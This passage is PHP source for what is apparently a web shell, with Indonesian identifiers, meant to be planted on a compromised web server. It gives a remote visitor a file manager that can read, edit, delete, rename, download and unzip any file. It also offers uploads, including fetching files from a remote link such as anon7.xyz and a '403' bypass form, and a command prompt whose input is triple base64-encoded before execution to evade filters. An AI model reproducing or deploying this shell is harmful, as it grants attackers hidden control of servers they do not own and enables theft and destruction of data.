    $lokasi = $_GET['path'];
    $lokdua = $_GET['path'];
} else {
    $lokasi = getcwd();
    $lokdua = getcwd();
}

$lokasi = str_replace('\\','/',$lokasi);
$lokasis = explode('/',$lokasi);
$lokasinya = @scandir($lokasi);

echo "<br>Directory (".cekwrite($lokasi).") : &nbsp;";

foreach($lokasis as $id => $lok){
    if($lok == '' && $id == 0){
        $a = true;
        echo '<a href="?path=/">/</a>';
        continue;
    }
    if($lok == '') continue;
    echo '<a href="?path=';
    for($i=0;$i<=$id;$i++){
    echo "$lokasis[$i]";
    if($i != $id) echo "/";
} 
echo '">'.$lok.'</a>/';
}

echo '</td></tr><tr><td>';
if (isset($_POST['upwkwk'])) {
    if ($_POST['dirnya'] == "2") {
            $lokasi = $_SERVER['DOCUMENT_ROOT'];
        }
    if (isset($_POST['berkasnya'])) {
        $data = @file_put_contents($lokasi."/".$_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name']));
        if (file_exists($lokasi."/".$_FILES['berkas']['name'])) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$_FILES['berkas']['name']."</i></font><br><br>";
        } else {
            echo "<font color='red'>Failed to Upload !<br><br>";
        }
    } elseif (isset($_POST['linknya'])) {
        if (empty($_POST['namalink'])) {
            exit("Filename cannot be empty !");
        }
        if ($_POST['dirnya'] == "2") {
            $lokasi = $_SERVER['DOCUMENT_ROOT'];
        }
        $data = @file_put_contents($lokasi."/".$_POST['namalink'], @file_get_contents($_POST['darilink']));
        if (file_exists($lokasi."/".$_POST['namalink'])) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$_POST['namalink']."</i></font><br><br>";
        } else {
            echo "<font coloe='red'>Failed to Upload !<br><br>";
        }
    } elseif (isset($_POST['bepas'])) {
        $bepasdata = $_POST['bepasdata'];
        $bepasnama = $_POST['bepasnama'];
        if ($bepasdata) {
            echo "string";
        }
        @file_put_contents($lokasi."/".$bepasnama, $bepasdata);
        if (file_exists($lokasi."/".$bepasnama)) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$bepasnama."</i></font><br><br>";
        } else {
            echo "<font coloe='red'>Failed to Upload !<br><br>";
        }
    }
}

echo "</table><br>";
echo '<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">';
echo '<th>[ &nbsp;<a href="'.$_SERVER['SCRIPT_NAME'].'">Home</a>&nbsp; ]</th>';
echo '<th>[ &nbsp;<a href="?path='.$lokasi.'&komend=gaskan">C0mmand</a>&nbsp; ]</th>';
echo '<th>[ &nbsp;<a href="?path='.$lokasi.'&upload=gaskan">Upload File</a>&nbsp; ]</th>';
echo "</table><br>";

if (isset($_GET['fileloc'])) {
    echo "<tr><td>Current File : ".$_GET['fileloc'];
    echo '</tr></td></table><br/>';
    echo "<pre>".htmlspecialchars(file_get_contents($_GET['fileloc']))."</pre>";
    author();
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") {
    if (is_dir($_POST['path'])) {
        xrmdir($_POST['path']);
        if (file_exists($_POST['path'])) {
            red("Failed to delete Directory !");
        } else {
            green("Delete Directory Success !");
        }
    } elseif (is_file($_POST['path'])) {
        @unlink($_POST['path']);
        if (file_exists($_POST['path'])) {
            red("Failed to Delete File !");
        } else {
            green("Delete File <i>".basename($_POST['path'])."</i> Success !");
        }
    }
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") {
    if (isset($_POST['gantin'])) {
        $ren = @rename($_POST['path'], $_POST['newname']);
        if ($ren == true) {
            green("Change Name Success !");
        } else {
            red("Change Name Failed !");
        }
    }
    if (empty($_POST['name'])) {
        $namaawal = $_POST['newname'];
    } else {
        $namawal = $_POST['name'];
    }
    echo "<center>".$_POST['path']."<br>";
    echo '<form method="post">
    New Name : <input name="newname" type="text" class="up" size="20" value="'.$namaawal.'" />
    <input type="hidden" name="path" value="'.$_POST['path'].'">
    <input type="hidden" name="pilih" value="gantinama">
    <input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #fff"/>
    </form>';
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
    if (isset($_POST['gasedit'])) {
        $edit = @file_put_contents($_POST['path'], $_POST['src']);
        if ($edit == true) {
            green("Edit File Success !");
        } else {
            red("Edit File Failed !");
        }
    }
    echo "<center>".$_POST['path']."<br><br>";
    echo '<form method="post">
    <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br>
    <input type="hidden" name="path" value="'.$_POST['path'].'">
    <input type="hidden" name="pilih" value="edit">
    <input type="submit" value="Edit File" name="gasedit" />
    </form><br>';
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "dunlut") {
    dunlut($_POST['path']);
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "unzip") {
    unzip($_POST['path'], $lokasi);
} elseif ($_REQUEST['upload'] == "gaskan") {
    echo "<center>Upload File : ";
    echo '<form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ '.cekdir().' ]
<input type="radio" value="2" name="dirnya" >document_root [ '.cekroot().' ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br><br>
Upload File From Link :<br>
<input type="text" name="darilink" class="up" placeholder="https://anon7.xyz/upload.txt">&nbsp;<input type="text" name="namalink" class="up" size="3" placeholder="file.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
<br><br>403 Upload File<br>
<input type="file" id="datanya" onchange="setfilename(this.value); loadFile(this.files[0])"/>
<input type="hidden" name="bepasnama" id="namanya">
<textarea style="display: none" id="bepasdata" name="bepasdata"></textarea>
<input type="submit" name="bepas" value="Upload" class="up" style="cursor: pointer; border-color: #fff">
</form><br><br></center>';
} elseif ($_GET['komend'] == "gaskan") {
    echo "<center>";
    echo '<form method="post" onsubmit="document.getElementById(\'komendnya\').value = btoa(btoa(btoa(document.getElementById(\'komendnya\').value)))">
    '.@get_current_user().'@'.ipserv().':~ $ <input type="text" name="komend" id="komendnya" style="background-color: #1f1f1f; color: #fff">
    <input type="submit" name="eksekomend" value=" >> " class="up" style="cursor: pointer; border-color: #fff">
    </form><br>';
    if (isset($_POST['eksekomend'])) {
        ekse($_POST['komend'], $lokasi);
    }
    echo "</center>";
} 

if (!is_readable($lokasi)) {
    die("<center>This directory is unreadable :(</center>");
}

echo '<div id="content"><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Last Modified</center></td>
<td><center>Owner</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr>';

foreach($lokasinya as $dir){
    if(!is_dir($lokasi."/".$dir) || $dir == '.') continue;
    echo "<tr>
    <td><i class='fa fa-folder' style='color: #ffe9a2'></i> <a href=\"?path=".$lokasi."/".$dir."\">".$dir."</a></td>
    <td><center>--</center></td>
    <td><center>".filedate($lokasi."/".$dir)."</center></td>
    <td>".owner($lokasi."/".$dir)."</td>
    <td><center>";
    if(is_writable($lokasi."/".$dir)) echo '<font color="green">';
    elseif(!is_readable($lokasi."/".$dir)) echo '<font color="red">';
    echo statusnya($lokasi."/".$dir);
    if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo '</font>';

    echo "</center></td>
    <td><center><form method=\"POST\" action=\"?pilihan&path=$lokasi\">
    <select name=\"pilih\">
    <option value=\"\"></option>
    <option value=\"hapus\">Delete</option>
    <option value=\"gantinama\">Rename</option>
    </select>
    <input type=\"hidden\" name=\"type\" value=\"dir\">
    <input type=\"hidden\" name=\"name\" value=\"$dir\">
    <input type=\"hidden\" name=\"path\" value=\"$lokasi/$dir\">
    <input type=\"submit\" class=\"gas\" value=\">\" />
    </form></center></td>
    </tr>";
}

echo '<tr class="first"><td></td><td></td><td></td><td></td><td></td><td></td></tr>';
foreach($lokasinya as $file) {
    if(!is_file("$lokasi/$file")) continue;
    $size = filesize("$lokasi/$file")/1024;
    $size = round($size,3);
    if($size >= 1024){
    $size = round($size/1024,2).' MB';
} else {
    $size = $size.' KB';
}

echo "<tr>
<td>".cekfile($lokasi."/".$file)."<a href=\"?fileloc=$lokasi/$file&path=$lokasi\">$file</a></td>
<td><center>".$size."</center></td>
<td><center>".filedate($lokasi."/".$file)."</center></td>
<td>".owner($lokasi."/".$file)."</td>
<td><center>";
if(is_writable("$lokasi/$file")) echo '<font color="green">';
elseif(!is_readable("$lokasi/$file")) echo '<font color="red">';
echo statusnya("$lokasi/$file");
if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo '</font>';
echo "</center></td><td><center>
<form method=\"post\" action=\"?pilihan&path=$lokasi\">
<select name=\"pilih\">
<option value=\"\"></option>
<option value=\"hapus\">Delete</option>
<option value=\"dunlut\">Download</option>
<option value=\"gantinama\">Rename</option>
<option value=\"edit\">Edit</option>";
if (class_exists("ZipArchive")) {
    echo "<option value=\"unzip\">Unzip</option>";
}
echo "</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$lokasi/$file\">
<input type=\"submit\" class=\"gas\" value=\">\" />
</form></center></td>
</tr>";
}
echo '</tr></td></table></table>';
author();

function statusnya($file){
$izin = substr(sprintf('%o', fileperms($file)), -4);
return $izin;
}
?>